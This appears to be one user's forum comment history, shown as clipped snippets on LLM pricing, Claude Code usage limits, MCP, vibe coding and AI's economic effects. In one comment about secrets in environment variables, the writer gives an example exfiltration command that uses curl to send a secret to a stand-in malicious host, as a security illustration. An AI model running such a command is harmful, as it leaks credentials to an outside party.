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by crazylogger 6mo ago
I haven't seen anyone claiming that API prices are subsidized. At some point (from the very beginning till ~2025Q4) Claude Code's usage limit was so generous that you can get roughly $10~20 (API-price-equivalent) worth of usage ou
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by crazylogger 6mo ago
Training data == source code, training algorithm == compiler, model weights == compiled binary.
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by crazylogger 6mo ago
If all they do is "just" brute-force problem solving, then they are already bound to take over R&D & other knowledge work and exponentially accelerate progress, i.e. the SciFi "singularity" BS ends up happening a
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by crazylogger 6mo ago
Why would this be in the client code though?
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by crazylogger 7mo ago
This feels so wrong. the LLM should play the role of a very general (but empty & un-opinionated) brain - you don’t want to perform a coding-specific lobotomy on someone every day. The proper target of their RL should have been their har
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by crazylogger 7mo ago
MCP solves a very specific problem: how do you ship a LLM’s tool/function so that it is callable by an LLM in an inter-process manner (so that you don’t need to modify OpenAI’s code to make your tool available in ChatGPT)? CLIs concern
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by crazylogger 8mo ago
Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods pos
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by crazylogger 8mo ago
Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs. MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.
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by crazylogger 8mo ago
Money is useful mostly for hiring human labor to outcompete others, e.g. Satya Nadella has 100K employees under his command, you don't, so you can't realistically compete with MS today - this is their main moat. If AI renders huma
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by crazylogger 8mo ago
You are describing tradition (deterministic?) automation before AI. With AI systems as general as today's SOTA LLMs, they'll happily take on the job regardless of the task falling into class I or class II. Ask a robot arm "ho
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by crazylogger 9mo ago
Or maybe, LLMs are pioneering scientific advancements - people are using LLMs to read papers, choose what problems to work on, come up with experiments, analyze results, and draft papers, etc., at this very moment. Except they eventually
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by crazylogger 9mo ago
Proper vibe coding should involves tons of vibe refactoring. I'd say spending at least a quarter of my vibe coding time on refactoring + documentation refresh to ensure the codebase looking impeccable is the only way my projects can wo
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by crazylogger 10mo ago
From a couple hours of usage in the CLI, 5.2-codex seems to burn through my plan's limit noticeably faster than 5.1-codex. So I guess the usage limit is a set dollar amount of API credits under the hood.
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by crazylogger 11mo ago
The way you get structured output with Claude prior to this is via tool use. IMO this was the more elegant design if you think about it: tool calling is really just structured output and structured output is tool calling . The "do not
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by crazylogger 11mo ago
This is just personal experience + reddit anecdotes. I've been using CC from day one (when API pricing was the only way to pay for CC), then I've been on the $20 Pro plan and am getting a solid $5+ worth of usage in each 5h sessio
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by crazylogger 11mo ago
Anecdotally, a Max subscriber gets something like $100 worth of usage per day. The more people use Claude Code, the more Anthropic loses, so it sounds like a classical "selling a dollar for 85 cents" business to me. As soon as use
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by crazylogger 1y ago
https://pure.md is exactly what you're looking for. But stripping complex formats like html & pdf down to simple markdown is a hard problem. It's nearly impossible to infer what the rendered page looks like by look
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by crazylogger 1y ago
I think the OP's point is that all those requirements are to be implemented outside the LLM layer, i.e. we don't need to conceive of any new model architecture. Even if LLMs don't progress any further beyond GPT-5 & Claud
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by crazylogger 1y ago
We have CONTRIBUTING.md for that. Seems to me the author just doesn't know about it?
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by crazylogger 1y ago
Today’s AI systems probably won’t excel, but they won’t completely fail either. Basically give the LLM a computer to do all kinds of stuff against the real world, kick it off with a high level goal like “build a startup”. The key is to in
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by crazylogger 1y ago
Yes, number-wise the wealth gap between the top and median is bigger than ever, but the actual quality-of-life difference has never been smaller — Elon and I probably both use an iPhone, wear similar T-shirts, mostly eat the same kind of fo
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by crazylogger 1y ago
As long as we have a free market, nobody gets to say, “No, you shouldn’t have robots freeing you from work.” Individual people will decide what they want to build, with whatever tools they have. If AI tools become powerful enough that one-p
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by crazylogger 1y ago
AI services are widely available, and humans have agency. If my boss can outsource everything to AI and run a one-person company, soon everyone will be running their own one-person companies to compete. If OpenAI refuses to sell me AI, I’ll
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by crazylogger 1y ago
My view is AGI will dramatically reduce cost of R&D in general, then developing humanoid robot will be an easy task - since it's all AI systems who will be doing the development.
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by crazylogger 1y ago
I wouldn’t worry about job safety when we have such utopian vision as the elimination of all human labor in our sight. Not only will AI run the company, it will run the world. Remember: a product/service only costs money because some
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by crazylogger 1y ago
> When it’s able to create code that compiles, the code is invariably inefficient and ugly. At the end of the day this is a trivial problem. When Claude Code finishes a commit, just spin up another Claude Code instance and say "run
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by crazylogger 1y ago
If payments are always approved by the payer with their PIN / FaceID, then the idea of a fraudulent charge is just undefined. Like you hand cash to someone. The transaction is done at the moment money changes hand. You don't get t
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by crazylogger 1y ago
Circumvention means you're following the law after all, i.e. you're circumventing, not breaking it. Every other Youtuber these days is thanking NordVPN for sponsoring their channel then proceeds to walk through specifically how to
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by crazylogger 1y ago
https://cubox.cc The greatest feature is that it limits you to 200 items saved on free tier. I also use https://github.com/yfzhou0904/go-to-kindle to email articles to kindle for reading on the go.
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by crazylogger 1y ago
Depends a lot on the way people use them. If you discusses a plan with CC well upfront, covering all integration points where things might go off rail, perhaps checkpoint the plan in a file then start a fresh CC session for coding, then CC

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